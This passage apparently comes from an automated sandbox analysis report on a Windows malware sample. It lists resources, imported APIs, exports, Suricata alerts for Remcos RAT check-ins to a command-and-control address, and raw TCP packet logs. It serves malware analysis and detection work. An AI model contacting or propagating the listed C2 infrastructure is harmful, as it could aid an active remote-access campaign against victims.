                                                                                                                          RT_GROUP_CURSOR0x2748b00x14Lotus unknown worksheet or configuration, revision 0x1KoreanSouth Korea1.3
                                                                                                                          RT_GROUP_CURSOR0x2748c40x14Lotus unknown worksheet or configuration, revision 0x1KoreanNorth Korea1.3
                                                                                                                          RT_GROUP_CURSOR0x2748c40x14Lotus unknown worksheet or configuration, revision 0x1KoreanSouth Korea1.3
                                                                                                                          RT_GROUP_CURSOR0x2748d80x14Lotus unknown worksheet or configuration, revision 0x1KoreanNorth Korea1.3
                                                                                                                          RT_GROUP_CURSOR0x2748d80x14Lotus unknown worksheet or configuration, revision 0x1KoreanSouth Korea1.3
                                                                                                                          RT_GROUP_CURSOR0x2748ec0x14Lotus unknown worksheet or configuration, revision 0x1KoreanNorth Korea1.3
                                                                                                                          RT_GROUP_CURSOR0x2748ec0x14Lotus unknown worksheet or configuration, revision 0x1KoreanSouth Korea1.3
                                                                                                                          RT_GROUP_CURSOR0x2749000x14Lotus unknown worksheet or configuration, revision 0x1KoreanNorth Korea1.3
                                                                                                                          RT_GROUP_CURSOR0x2749000x14Lotus unknown worksheet or configuration, revision 0x1KoreanSouth Korea1.3
                                                                                                                          RT_GROUP_CURSOR0x2749140x14Lotus unknown worksheet or configuration, revision 0x1KoreanNorth Korea1.3
                                                                                                                          RT_GROUP_CURSOR0x2749140x14Lotus unknown worksheet or configuration, revision 0x1KoreanSouth Korea1.3
                                                                                                                          RT_GROUP_CURSOR0x2749280x14Lotus unknown worksheet or configuration, revision 0x1KoreanNorth Korea1.3
                                                                                                                          RT_GROUP_CURSOR0x2749280x14Lotus unknown worksheet or configuration, revision 0x1KoreanSouth Korea1.3
                                                                                                                          RT_GROUP_CURSOR0x27493c0x14Lotus unknown worksheet or configuration, revision 0x1KoreanNorth Korea1.3
                                                                                                                          RT_GROUP_CURSOR0x27493c0x14Lotus unknown worksheet or configuration, revision 0x1KoreanSouth Korea1.3
                                                                                                                          RT_GROUP_CURSOR0x2749500x14Lotus unknown worksheet or configuration, revision 0x1KoreanNorth Korea1.3
                                                                                                                          RT_GROUP_CURSOR0x2749500x14Lotus unknown worksheet or configuration, revision 0x1KoreanSouth Korea1.3
                                                                                                                          RT_GROUP_CURSOR0x2749640x14Lotus unknown worksheet or configuration, revision 0x1KoreanNorth Korea1.3
                                                                                                                          RT_GROUP_CURSOR0x2749640x14Lotus unknown worksheet or configuration, revision 0x1KoreanSouth Korea1.3
                                                                                                                          RT_GROUP_CURSOR0x2749780x14Lotus unknown worksheet or configuration, revision 0x1KoreanNorth Korea1.3
                                                                                                                          RT_GROUP_CURSOR0x2749780x14Lotus unknown worksheet or configuration, revision 0x1KoreanSouth Korea1.3
                                                                                                                          RT_GROUP_CURSOR0x27498c0x14Lotus unknown worksheet or configuration, revision 0x1KoreanNorth Korea1.3
                                                                                                                          RT_GROUP_CURSOR0x27498c0x14Lotus unknown worksheet or configuration, revision 0x1KoreanSouth Korea1.3
                                                                                                                          RT_GROUP_CURSOR0x2749a00x14Lotus unknown worksheet or configuration, revision 0x1KoreanNorth Korea1.3
                                                                                                                          RT_GROUP_CURSOR0x2749a00x14Lotus unknown worksheet or configuration, revision 0x1KoreanSouth Korea1.3
                                                                                                                          RT_GROUP_CURSOR0x2749b40x14Lotus unknown worksheet or configuration, revision 0x1KoreanNorth Korea1.3
                                                                                                                          RT_GROUP_CURSOR0x2749b40x14Lotus unknown worksheet or configuration, revision 0x1KoreanSouth Korea1.3
                                                                                                                          RT_GROUP_ICON0x2749c80x22dataKoreanNorth Korea1.0
                                                                                                                          RT_GROUP_ICON0x2749c80x22dataKoreanSouth Korea1.0
                                                                                                                          RT_VERSION0x2749ec0x2ecdataKoreanNorth Korea0.48663101604278075
                                                                                                                          RT_VERSION0x2749ec0x2ecdataKoreanSouth Korea0.48663101604278075
                                                                                                                          RT_ANIICON0x274cd80x59eebPC bitmap, Windows 3.x format, 46643 x 2 x 43, image size 368699, cbSize 368363, bits offset 540.948387867402535
                                                                                                                          RT_ANIICON0x2cebc40x39e54PC bitmap, Windows 3.x format, 29965 x 2 x 41, image size 237438, cbSize 237140, bits offset 540.9939613730285907

                                                                                                                          Imports

                                                                                                                          DLLImport
                                                                                                                          WS2_32.dllinet_addr, closesocket, getsockname, send, recv, connect, WSAStartup, gethostbyname, bind, setsockopt, WSACleanup, socket, WSARecv, WSASend, WSACloseEvent, inet_ntoa, WSASocketA, htons, WSAEventSelect, WSACreateEvent, listen, htonl, WSAGetLastError, WSAResetEvent, accept
                                                                                                                          ODBC32.dll
                                                                                                                          KERNEL32.dllFreeLibrary, GlobalAlloc, GlobalLock, GlobalAddAtomA, InterlockedDecrement, FreeResource, GlobalFree, GlobalUnlock, lstrcmpW, lstrcatA, GlobalFindAtomA, GlobalGetAtomNameA, SetLastError, MulDiv, FindClose, FindNextFileA, FileTimeToSystemTime, FileTimeToLocalFileTime, FindFirstFileA, GetPrivateProfileIntA, WritePrivateProfileStringA, GetPrivateProfileStringA, InterlockedIncrement, GlobalFlags, LocalAlloc, LocalFree, GlobalReAlloc, GlobalDeleteAtom, TlsGetValue, TlsAlloc, TlsSetValue, LocalReAlloc, TlsFree, FormatMessageA, GlobalSize, CopyFileA, MoveFileA, FlushFileBuffers, LockFile, UnlockFile, SetEndOfFile, GetFileSize, DuplicateHandle, GetVolumeInformationA, GetFullPathNameA, GetShortPathNameA, GetCPInfo, GetOEMCP, SystemTimeToFileTime, SetErrorMode, LocalFileTimeToFileTime, SetFileTime, SetFileAttributesA, GetFileAttributesA, GetFileTime, LocalUnlock, LocalLock, GetTempFileNameA, GetDiskFreeSpaceA, ExitThread, GetTimeFormatA, GetDateFormatA, VirtualProtect, RtlUnwind, GetDriveTypeA, GetStartupInfoA, GetCommandLineA, SetLocalTime, TerminateProcess, HeapSize, QueryPerformanceCounter, UnhandledExceptionFilter, GetTimeZoneInformation, LCMapStringA, LCMapStringW, FatalAppExitA, GetStdHandle, FreeEnvironmentStringsA, GetEnvironmentStrings, FreeEnvironmentStringsW, GetEnvironmentStringsW, SetHandleCount, GetFileType, SetConsoleCtrlHandler, GetStringTypeA, GetStringTypeW, SetStdHandle, GetUserDefaultLCID, EnumSystemLocalesA, IsValidLocale, IsValidCodePage, IsBadReadPtr, IsBadCodePtr, GetLocaleInfoW, SetEnvironmentVariableA, GetProcAddress, ConvertDefaultLocale, EnumResourceLanguagesA, LoadLibraryA, CreateThread, UnregisterWaitEx, FlushInstructionCache, GetCurrentDirectoryA, SetCurrentDirectoryA, lstrcpynA, ReleaseMutex, ReleaseSemaphore, CreateSemaphoreA, IsDBCSLeadByte, CreateDirectoryA, SetThreadIdealProcessor, GetQueuedCompletionStatus, WaitForMultipleObjects, PostQueuedCompletionStatus, GetTickCount, SetEvent, SetProcessPriorityBoost, CreateEventA, CreateIoCompletionPort, SwitchToThread, Sleep, HeapReAlloc, VirtualAlloc, HeapValidate, HeapAlloc, VirtualFree, HeapFree, HeapCreate, HeapDestroy, OutputDebugStringA, SuspendThread, ResumeThread, IsDebuggerPresent, DebugBreak, IsBadWritePtr, GetSystemTimeAsFileTime, SetThreadPriority, GetCurrentProcessId, WriteFile, SetFilePointer, GetLocalTime, GetCurrentThreadId, VirtualQuery, GetCurrentProcess, GlobalMemoryStatus, CreateFileA, ReadFile, MoveFileExA, DeleteFileA, SetUnhandledExceptionFilter, GetCurrentThread, GetThreadContext, GetSystemInfo, GetModuleHandleA, lstrcmpA, lstrlenA, lstrcmpiA, lstrcmpiW, GetStringTypeExA, GetStringTypeExW, lstrlenW, CompareStringA, CompareStringW, GetEnvironmentVariableA, MultiByteToWideChar, GetEnvironmentVariableW, GetVersion, DeleteTimerQueueTimer, lstrcpyA, LoadResource, LockResource, SizeofResource, FindResourceA, WideCharToMultiByte, GetThreadLocale, GetLocaleInfoA, GetACP, GetVersionExA, InterlockedExchange, RaiseException, WaitForSingleObject, CreateMutexA, GetLastError, CloseHandle, GetModuleFileNameA, ExitProcess, DeleteCriticalSection, InitializeCriticalSection, EnterCriticalSection, LeaveCriticalSection, GlobalHandle
                                                                                                                          USER32.dllBringWindowToTop, SetRectEmpty, CreatePopupMenu, InsertMenuItemA, LoadAcceleratorsA, LoadMenuA, ReuseDDElParam, UnpackDDElParam, IsClipboardFormatAvailable, MessageBeep, SetRect, GetTabbedTextExtentA, IsRectEmpty, UnionRect, GetDCEx, LockWindowUpdate, GetSystemMenu, SetParent, SetMenu, TranslateAcceleratorA, DestroyMenu, GetMenuItemInfoA, InflateRect, GetDialogBaseUnits, DestroyIcon, GetSysColorBrush, GetMenuStringA, AppendMenuA, RemoveMenu, InsertMenuA, DeleteMenu, WaitMessage, GetWindowThreadProcessId, ReleaseCapture, WindowFromPoint, SetCapture, GetWindowDC, ClientToScreen, GrayStringA, DrawTextExA, DrawTextA, TabbedTextOutA, FillRect, ScrollWindowEx, IsDialogMessageA, IsDlgButtonChecked, SetDlgItemTextA, SetDlgItemInt, GetDlgItemTextA, GetDlgItemInt, CheckRadioButton, CheckDlgButton, RegisterWindowMessageA, WinHelpA, GetCapture, GetClassLongA, GetClassInfoExA, GetClassNameA, SetPropA, GetPropA, RemovePropA, SendDlgItemMessageA, IsChild, GetWindowTextLengthA, GetForegroundWindow, BeginDeferWindowPos, EndDeferWindowPos, GetTopWindow, GetMessageTime, GetMessagePos, MapWindowPoints, TrackPopupMenuEx, TrackPopupMenu, SetScrollRange, GetScrollRange, SetScrollPos, GetScrollPos, SetForegroundWindow, ShowScrollBar, GetMenu, GetSubMenu, GetMenuItemID, GetMenuItemCount, GetSysColor, AdjustWindowRectEx, ScreenToClient, EqualRect, DeferWindowPos, GetClassInfoA, RegisterClassA, SetWindowPlacement, GetDlgCtrlID, SetWindowPos, OffsetRect, IntersectRect, SystemParametersInfoA, GetWindowPlacement, GetWindowRect, PtInRect, GetWindow, MapVirtualKeyA, GetKeyNameTextA, CopyRect, GetDesktopWindow, SetActiveWindow, CreateDialogIndirectParamA, IsWindow, GetDlgItem, GetNextDlgTabItem, UnhookWindowsHookEx, SetMenuItemBitmaps, GetFocus, ModifyMenuA, GetMenuState, EnableMenuItem, CheckMenuItem, GetMenuCheckMarkDimensions, LoadBitmapA, SetWindowsHookExA, CallNextHookEx, GetActiveWindow, IsWindowVisible, GetKeyState, PeekMessageA, ValidateRect, GetWindowLongA, GetLastActivePopup, IsWindowEnabled, ShowOwnedPopups, SetCursor, MsgWaitForMultipleObjects, wvsprintfA, wsprintfA, GetParent, UnregisterClassA, CharUpperA, CharUpperW, CharLowerA, CharLowerW, EnableWindow, IsIconic, GetSystemMetrics, DrawIcon, EndDialog, GetAsyncKeyState, GetWindowTextA, CallWindowProcA, GetDC, ReleaseDC, GetClientRect, SetScrollInfo, GetScrollInfo, ScrollWindow, BeginPaint, EndPaint, SetWindowLongA, MoveWindow, SetFocus, DialogBoxParamA, PostMessageA, KillTimer, InvalidateRect, SendMessageA, SetTimer, DefWindowProcA, MessageBoxA, DestroyWindow, PostQuitMessage, CreateWindowExA, SetWindowTextA, ShowWindow, UpdateWindow, LoadIconA, LoadCursorA, RegisterClassExA, LoadStringA, GetMessageA, TranslateMessage, DispatchMessageA, GetCursorPos
                                                                                                                          GDI32.dllCopyMetaFileA, CreateDCA, GetTextExtentPoint32A, CreateFontIndirectA, SetRectRgn, CombineRgn, GetMapMode, DPtoLP, CreateCompatibleBitmap, GetCharWidthA, StretchDIBits, CreateFontA, StartPage, EndPage, SetAbortProc, AbortDoc, EndDoc, GetBkColor, CreateHatchBrush, GetObjectType, PlayMetaFileRecord, SelectPalette, GetStockObject, CreateCompatibleDC, CreatePatternBrush, CreateDIBPatternBrushPt, DeleteDC, ExtSelectClipRgn, PolyBezierTo, PolylineTo, PolyDraw, ArcTo, CreateSolidBrush, GetCurrentPositionEx, ExtCreatePen, CreatePen, GetDeviceCaps, ExtTextOutA, RectVisible, PtVisible, StartDocA, GetPixel, BitBlt, GetWindowExtEx, GetViewportExtEx, SelectClipPath, CreateRectRgn, GetClipRgn, SelectClipRgn, DeleteObject, SetColorAdjustment, SetArcDirection, SetMapperFlags, SetTextCharacterExtra, SetTextJustification, SetTextAlign, MoveToEx, LineTo, OffsetClipRgn, IntersectClipRect, ExcludeClipRect, SetMapMode, SetStretchBltMode, SetROP2, SetPolyFillMode, SetBkMode, RestoreDC, ScaleWindowExtEx, SetWindowExtEx, OffsetWindowOrgEx, SetWindowOrgEx, ScaleViewportExtEx, SaveDC, GetObjectA, SetBkColor, GetClipBox, GetDCOrgEx, PatBlt, CreateRectRgnIndirect, CreateBitmap, SetTextColor, TextOutA, EnumMetaFile, GetTextMetricsA, SetViewportExtEx, OffsetViewportOrgEx, SetViewportOrgEx, SelectObject, Escape, PlayMetaFile
                                                                                                                          comdlg32.dllReplaceTextA, FindTextA, PageSetupDlgA, GetOpenFileNameA, CommDlgExtendedError, GetSaveFileNameA, GetFileTitleA, PrintDlgA
                                                                                                                          WINSPOOL.DRVGetJobA, DocumentPropertiesA, OpenPrinterA, ClosePrinter
                                                                                                                          ADVAPI32.dllStartServiceA, RegCloseKey, RegQueryValueExA, RegSetValueExA, RegDeleteValueA, RegDeleteKeyA, RegCreateKeyExA, RegOpenKeyExA, StartServiceCtrlDispatcherA, OpenSCManagerA, CloseServiceHandle, GetFileSecurityA, SetFileSecurityA, RegCreateKeyA, RegSetValueA, RegQueryValueA, RegOpenKeyA, RegEnumKeyA, SetServiceStatus, RegisterServiceCtrlHandlerA, ControlService, GetUserNameA, QueryServiceStatus, QueryServiceConfigA, QueryServiceConfig2A, LockServiceDatabase, ChangeServiceConfigA, ChangeServiceConfig2A, UnlockServiceDatabase, QueryServiceLockStatusA, OpenServiceA, DeleteService, CreateServiceA
                                                                                                                          SHELL32.dllExtractIconA, SHGetFileInfoA, DragFinish, DragQueryFileA
                                                                                                                          COMCTL32.dllImageList_Read, ImageList_Write, ImageList_Destroy, ImageList_Create, ImageList_LoadImageA, ImageList_Merge, ImageList_Draw, ImageList_GetImageInfo
                                                                                                                          SHLWAPI.dllHashData, PathFindExtensionA, PathRemoveExtensionA, PathStripToRootA, PathIsUNCA, PathFindFileNameA, PathRemoveFileSpecA
                                                                                                                          ole32.dllWriteFmtUserTypeStg, SetConvertStg, WriteClassStg, OleRegGetUserType, ReadClassStg, StringFromCLSID, CoTreatAsClass, CoTaskMemFree, CreateBindCtx, CoTaskMemAlloc, ReleaseStgMedium, OleDuplicateData, CoDisconnectObject, CoCreateInstance, StringFromGUID2, CLSIDFromString, ReadFmtUserTypeStg
                                                                                                                          OLEAUT32.dllVariantClear, VariantChangeType, VariantInit, SysAllocStringLen, SysStringLen, SysAllocStringByteLen, SysStringByteLen, VarBstrFromDate, VarBstrFromCy, VarCyFromStr, SafeArrayUnaccessData, SafeArrayAccessData, SafeArrayGetUBound, SysFreeString, SafeArrayGetElemsize, SafeArrayGetDim, SafeArrayCreate, SafeArrayRedim, VariantCopy, SafeArrayAllocData, SafeArrayAllocDescriptor, SafeArrayCopy, SafeArrayGetElement, SafeArrayPtrOfIndex, SafeArrayPutElement, SafeArrayLock, SafeArrayUnlock, SafeArrayDestroy, SafeArrayDestroyData, SafeArrayDestroyDescriptor, VariantTimeToSystemTime, SystemTimeToVariantTime, SysAllocString, SysReAllocStringLen, VarDateFromStr, VarBstrFromDec, VarDecFromStr, SafeArrayGetLBound
                                                                                                                          WSOCK32.dllgetsockopt, shutdown

                                                                                                                          Exports

                                                                                                                          NameOrdinalAddress
                                                                                                                          ??0CSingleLock@GeoBase@@QAE@PAVCSyncObject@1@H@Z10x466ff0
                                                                                                                          ??1CSingleLock@GeoBase@@QAE@XZ20x401030
                                                                                                                          ??4CSingleLock@GeoBase@@QAEAAV01@ABV01@@Z30x401000
                                                                                                                          ?IsLocked@CSingleLock@GeoBase@@QAEHXZ40x401050
                                                                                                                          ?Lock@CSingleLock@GeoBase@@QAEHK@Z50x467030
                                                                                                                          ?Unlock@CSingleLock@GeoBase@@QAEHJPAJ@Z60x4670a0
                                                                                                                          ?Unlock@CSingleLock@GeoBase@@QAEHXZ70x467060

                                                                                                                          Possible Origin

                                                                                                                          Language of compilation systemCountry where language is spokenMap
                                                                                                                          KoreanNorth Korea
                                                                                                                          KoreanSouth Korea

                                                                                                                          Network Behavior

                                                                                                                          Suricata IDS Alerts

                                                                                                                          TimestampSIDSignatureSeveritySource IPSource PortDest IPDest PortProtocol
                                                                                                                          2024-12-12T17:40:06.529888+01002032776ET MALWARE Remcos 3.x Unencrypted Checkin1192.168.2.749851181.131.217.2441842TCP
                                                                                                                          2024-12-12T17:40:17.719004+01002032776ET MALWARE Remcos 3.x Unencrypted Checkin1192.168.2.749876181.131.217.2441842TCP
                                                                                                                          2024-12-12T17:40:21.209783+01002032776ET MALWARE Remcos 3.x Unencrypted Checkin1192.168.2.749883181.131.217.2441842TCP
                                                                                                                          2024-12-12T17:40:26.974691+01002032776ET MALWARE Remcos 3.x Unencrypted Checkin1192.168.2.749899181.131.217.2441842TCP
                                                                                                                          2024-12-12T17:40:35.739867+01002032776ET MALWARE Remcos 3.x Unencrypted Checkin1192.168.2.749919181.131.217.2441842TCP
                                                                                                                          2024-12-12T17:40:39.089013+01002032776ET MALWARE Remcos 3.x Unencrypted Checkin1192.168.2.749929181.131.217.2441842TCP
                                                                                                                          2024-12-12T17:40:50.246375+01002032776ET MALWARE Remcos 3.x Unencrypted Checkin1192.168.2.749955181.131.217.2441842TCP
                                                                                                                          2024-12-12T17:40:51.523614+01002032777ET MALWARE Remcos 3.x Unencrypted Server Response1181.131.217.2441842192.168.2.749955TCP
                                                                                                                          2024-12-12T17:40:53.735775+01002803304ETPRO MALWARE Common Downloader Header Pattern HCa3192.168.2.749962178.237.33.5080TCP

                                                                                                                          Network Port Distribution

                                                                                                                          TCP Packets

                                                                                                                          TimestampSource PortDest PortSource IPDest IP
                                                                                                                          Dec 12, 2024 17:39:26.344511986 CET4975830203192.168.2.7181.131.217.244
                                                                                                                          Dec 12, 2024 17:39:26.464337111 CET3020349758181.131.217.244192.168.2.7
                                                                                                                          Dec 12, 2024 17:39:26.464457035 CET4975830203192.168.2.7181.131.217.244
                                                                                                                          Dec 12, 2024 17:39:26.517276049 CET4975830203192.168.2.7181.131.217.244
                                                                                                                          Dec 12, 2024 17:39:26.763603926 CET3020349758181.131.217.244192.168.2.7
                                                                                                                          Dec 12, 2024 17:39:26.763674974 CET4975830203192.168.2.7181.131.217.244
                                                                                                                          Dec 12, 2024 17:39:26.885723114 CET3020349758181.131.217.244192.168.2.7
                                                                                                                          Dec 12, 2024 17:39:27.866822958 CET3020349758181.131.217.244192.168.2.7
                                                                                                                          Dec 12, 2024 17:39:27.913772106 CET4975830203192.168.2.7181.131.217.244
                                                                                                                          Dec 12, 2024 17:39:28.103023052 CET3020349758181.131.217.244192.168.2.7
                                                                                                                          Dec 12, 2024 17:39:28.125648022 CET4975830203192.168.2.7181.131.217.244
                                                                                                                          Dec 12, 2024 17:39:28.245812893 CET3020349758181.131.217.244192.168.2.7
                                                                                                                          Dec 12, 2024 17:39:28.248979092 CET4975830203192.168.2.7181.131.217.244
                                                                                                                          Dec 12, 2024 17:39:28.488482952 CET49764443192.168.2.7185.166.143.50
                                                                                                                          Dec 12, 2024 17:39:28.488533974 CET44349764185.166.143.50192.168.2.7
                                                                                                                          Dec 12, 2024 17:39:28.488600969 CET49764443192.168.2.7185.166.143.50
                                                                                                                          Dec 12, 2024 17:39:28.511708021 CET49764443192.168.2.7185.166.143.50
                                                                                                                          Dec 12, 2024 17:39:28.511739969 CET44349764185.166.143.50192.168.2.7
                                                                                                                          Dec 12, 2024 17:39:30.109914064 CET44349764185.166.143.50192.168.2.7
                                                                                                                          Dec 12, 2024 17:39:30.110065937 CET49764443192.168.2.7185.166.143.50
                                                                                                                          Dec 12, 2024 17:39:30.113461018 CET49764443192.168.2.7185.166.143.50
                                                                                                                          Dec 12, 2024 17:39:30.113478899 CET44349764185.166.143.50192.168.2.7
                                                                                                                          Dec 12, 2024 17:39:30.113739014 CET44349764185.166.143.50192.168.2.7
                                                                                                                          Dec 12, 2024 17:39:30.163743019 CET49764443192.168.2.7185.166.143.50
                                                                                                                          Dec 12, 2024 17:39:30.218502998 CET49764443192.168.2.7185.166.143.50
                                                                                                                          Dec 12, 2024 17:39:30.259367943 CET44349764185.166.143.50192.168.2.7
                                                                                                                          Dec 12, 2024 17:39:30.798049927 CET44349764185.166.143.50192.168.2.7
                                                                                                                          Dec 12, 2024 17:39:30.798073053 CET44349764185.166.143.50192.168.2.7
                                                                                                                          Dec 12, 2024 17:39:30.798135042 CET44349764185.166.143.50192.168.2.7
                                                                                                                          Dec 12, 2024 17:39:30.798135996 CET49764443192.168.2.7185.166.143.50
                                                                                                                          Dec 12, 2024 17:39:30.798211098 CET49764443192.168.2.7185.166.143.50
                                                                                                                          Dec 12, 2024 17:39:30.798212051 CET49764443192.168.2.7185.166.143.50
                                                                                                                          Dec 12, 2024 17:39:31.094366074 CET49764443192.168.2.7185.166.143.50
                                                                                                                          Dec 12, 2024 17:39:31.445986032 CET49770443192.168.2.754.231.193.17
                                                                                                                          Dec 12, 2024 17:39:31.446037054 CET4434977054.231.193.17192.168.2.7
                                                                                                                          Dec 12, 2024 17:39:31.446100950 CET49770443192.168.2.754.231.193.17
                                                                                                                          Dec 12, 2024 17:39:31.446530104 CET49770443192.168.2.754.231.193.17
                                                                                                                          Dec 12, 2024 17:39:31.446544886 CET4434977054.231.193.17192.168.2.7
                                                                                                                          Dec 12, 2024 17:39:32.873109102 CET4434977054.231.193.17192.168.2.7
                                                                                                                          Dec 12, 2024 17:39:32.873251915 CET49770443192.168.2.754.231.193.17
                                                                                                                          Dec 12, 2024 17:39:32.875325918 CET49770443192.168.2.754.231.193.17
                                                                                                                          Dec 12, 2024 17:39:32.875338078 CET4434977054.231.193.17192.168.2.7
                                                                                                                          Dec 12, 2024 17:39:32.875612974 CET4434977054.231.193.17192.168.2.7
                                                                                                                          Dec 12, 2024 17:39:32.877866983 CET49770443192.168.2.754.231.193.17
                                                                                                                          Dec 12, 2024 17:39:32.923332930 CET4434977054.231.193.17192.168.2.7
                                                                                                                          Dec 12, 2024 17:39:33.342916965 CET4434977054.231.193.17192.168.2.7
                                                                                                                          Dec 12, 2024 17:39:33.393114090 CET4434977054.231.193.17192.168.2.7
                                                                                                                          Dec 12, 2024 17:39:33.393147945 CET4434977054.231.193.17192.168.2.7
                                                                                                                          Dec 12, 2024 17:39:33.396970034 CET49770443192.168.2.754.231.193.17
                                                                                                                          Dec 12, 2024 17:39:33.397015095 CET4434977054.231.193.17192.168.2.7
                                                                                                                          Dec 12, 2024 17:39:33.398192883 CET49770443192.168.2.754.231.193.17
                                                                                                                          Dec 12, 2024 17:39:33.576361895 CET4434977054.231.193.17192.168.2.7
                                                                                                                          Dec 12, 2024 17:39:33.576437950 CET4434977054.231.193.17192.168.2.7
                                                                                                                          Dec 12, 2024 17:39:33.576534033 CET4434977054.231.193.17192.168.2.7
                                                                                                                          Dec 12, 2024 17:39:33.576605082 CET49770443192.168.2.754.231.193.17
                                                                                                                          Dec 12, 2024 17:39:33.576642036 CET4434977054.231.193.17192.168.2.7
                                                                                                                          Dec 12, 2024 17:39:33.576657057 CET49770443192.168.2.754.231.193.17
                                                                                                                          Dec 12, 2024 17:39:33.630888939 CET4434977054.231.193.17192.168.2.7
                                                                                                                          Dec 12, 2024 17:39:33.630980015 CET4434977054.231.193.17192.168.2.7
                                                                                                                          Dec 12, 2024 17:39:33.631056070 CET49770443192.168.2.754.231.193.17
                                                                                                                          Dec 12, 2024 17:39:33.631092072 CET4434977054.231.193.17192.168.2.7
                                                                                                                          Dec 12, 2024 17:39:33.631113052 CET49770443192.168.2.754.231.193.17
                                                                                                                          Dec 12, 2024 17:39:33.638653040 CET4434977054.231.193.17192.168.2.7
                                                                                                                          Dec 12, 2024 17:39:33.640990973 CET49770443192.168.2.754.231.193.17
                                                                                                                          Dec 12, 2024 17:39:33.641004086 CET4434977054.231.193.17192.168.2.7
                                                                                                                          Dec 12, 2024 17:39:33.695045948 CET49770443192.168.2.754.231.193.17
                                                                                                                          Dec 12, 2024 17:39:33.750597000 CET4434977054.231.193.17192.168.2.7
                                                                                                                          Dec 12, 2024 17:39:33.750613928 CET4434977054.231.193.17192.168.2.7
                                                                                                                          Dec 12, 2024 17:39:33.750648975 CET4434977054.231.193.17192.168.2.7
                                                                                                                          Dec 12, 2024 17:39:33.750667095 CET4434977054.231.193.17192.168.2.7
                                                                                                                          Dec 12, 2024 17:39:33.750756025 CET49770443192.168.2.754.231.193.17
                                                                                                                          Dec 12, 2024 17:39:33.750793934 CET4434977054.231.193.17192.168.2.7
                                                                                                                          Dec 12, 2024 17:39:33.750817060 CET49770443192.168.2.754.231.193.17
                                                                                                                          Dec 12, 2024 17:39:33.752964020 CET49770443192.168.2.754.231.193.17
                                                                                                                          Dec 12, 2024 17:39:33.757128954 CET4434977054.231.193.17192.168.2.7
                                                                                                                          Dec 12, 2024 17:39:33.791066885 CET4434977054.231.193.17192.168.2.7
                                                                                                                          Dec 12, 2024 17:39:33.791120052 CET4434977054.231.193.17192.168.2.7
                                                                                                                          Dec 12, 2024 17:39:33.791165113 CET4434977054.231.193.17192.168.2.7
                                                                                                                          Dec 12, 2024 17:39:33.791198015 CET49770443192.168.2.754.231.193.17
                                                                                                                          Dec 12, 2024 17:39:33.791210890 CET4434977054.231.193.17192.168.2.7
                                                                                                                          Dec 12, 2024 17:39:33.791265011 CET49770443192.168.2.754.231.193.17
                                                                                                                          Dec 12, 2024 17:39:33.796096087 CET4434977054.231.193.17192.168.2.7
                                                                                                                          Dec 12, 2024 17:39:33.796189070 CET49770443192.168.2.754.231.193.17
                                                                                                                          Dec 12, 2024 17:39:33.832562923 CET4434977054.231.193.17192.168.2.7
                                                                                                                          Dec 12, 2024 17:39:33.832577944 CET4434977054.231.193.17192.168.2.7
                                                                                                                          Dec 12, 2024 17:39:33.832617044 CET4434977054.231.193.17192.168.2.7
                                                                                                                          Dec 12, 2024 17:39:33.832679987 CET4434977054.231.193.17192.168.2.7
                                                                                                                          Dec 12, 2024 17:39:33.832734108 CET49770443192.168.2.754.231.193.17
                                                                                                                          Dec 12, 2024 17:39:33.832752943 CET4434977054.231.193.17192.168.2.7
                                                                                                                          Dec 12, 2024 17:39:33.832782030 CET49770443192.168.2.754.231.193.17
                                                                                                                          Dec 12, 2024 17:39:33.868702888 CET4434977054.231.193.17192.168.2.7
                                                                                                                          Dec 12, 2024 17:39:33.868745089 CET4434977054.231.193.17192.168.2.7
                                                                                                                          Dec 12, 2024 17:39:33.868882895 CET49770443192.168.2.754.231.193.17
                                                                                                                          Dec 12, 2024 17:39:33.868923903 CET4434977054.231.193.17192.168.2.7
                                                                                                                          Dec 12, 2024 17:39:33.913760900 CET49770443192.168.2.754.231.193.17
                                                                                                                          Dec 12, 2024 17:39:33.919059038 CET4434977054.231.193.17192.168.2.7
                                                                                                                          Dec 12, 2024 17:39:33.939357042 CET4434977054.231.193.17192.168.2.7
                                                                                                                          Dec 12, 2024 17:39:33.939393997 CET4434977054.231.193.17192.168.2.7
                                                                                                                          Dec 12, 2024 17:39:33.939414024 CET4434977054.231.193.17192.168.2.7
                                                                                                                          Dec 12, 2024 17:39:33.939420938 CET4434977054.231.193.17192.168.2.7
                                                                                                                          Dec 12, 2024 17:39:33.939444065 CET49770443192.168.2.754.231.193.17
                                                                                                                          Dec 12, 2024 17:39:33.939466953 CET4434977054.231.193.17192.168.2.7
                                                                                                                          Dec 12, 2024 17:39:33.939492941 CET49770443192.168.2.754.231.193.17
                                                                                                                          Dec 12, 2024 17:39:33.964781046 CET4434977054.231.193.17192.168.2.7
                                                                                                                          Dec 12, 2024 17:39:33.964793921 CET4434977054.231.193.17192.168.2.7
                                                                                                                          Dec 12, 2024 17:39:33.964838982 CET4434977054.231.193.17192.168.2.7
                                                                                                                          Dec 12, 2024 17:39:33.964883089 CET4434977054.231.193.17192.168.2.7
                                                                                                                          Dec 12, 2024 17:39:33.964889050 CET4434977054.231.193.17192.168.2.7
                                                                                                                          Dec 12, 2024 17:39:33.964917898 CET49770443192.168.2.754.231.193.17
                                                                                                                          Dec 12, 2024 17:39:33.964917898 CET49770443192.168.2.754.231.193.17
                                                                                                                          Dec 12, 2024 17:39:33.964930058 CET4434977054.231.193.17192.168.2.7
                                                                                                                          Dec 12, 2024 17:39:33.964948893 CET49770443192.168.2.754.231.193.17
                                                                                                                          Dec 12, 2024 17:39:33.964977980 CET49770443192.168.2.754.231.193.17
                                                                                                                          Dec 12, 2024 17:39:33.985327959 CET4434977054.231.193.17192.168.2.7
                                                                                                                          Dec 12, 2024 17:39:33.985342026 CET4434977054.231.193.17192.168.2.7
                                                                                                                          Dec 12, 2024 17:39:33.985380888 CET4434977054.231.193.17192.168.2.7
                                                                                                                          Dec 12, 2024 17:39:33.985414982 CET49770443192.168.2.754.231.193.17
                                                                                                                          Dec 12, 2024 17:39:33.985476971 CET49770443192.168.2.754.231.193.17
                                                                                                                          Dec 12, 2024 17:39:33.985491991 CET4434977054.231.193.17192.168.2.7
                                                                                                                          Dec 12, 2024 17:39:33.987642050 CET49770443192.168.2.754.231.193.17
                                                                                                                          Dec 12, 2024 17:39:33.987649918 CET4434977054.231.193.17192.168.2.7
                                                                                                                          Dec 12, 2024 17:39:33.998503923 CET4434977054.231.193.17192.168.2.7
                                                                                                                          Dec 12, 2024 17:39:33.998528957 CET4434977054.231.193.17192.168.2.7
                                                                                                                          Dec 12, 2024 17:39:33.998568058 CET49770443192.168.2.754.231.193.17
                                                                                                                          Dec 12, 2024 17:39:33.998578072 CET4434977054.231.193.17192.168.2.7
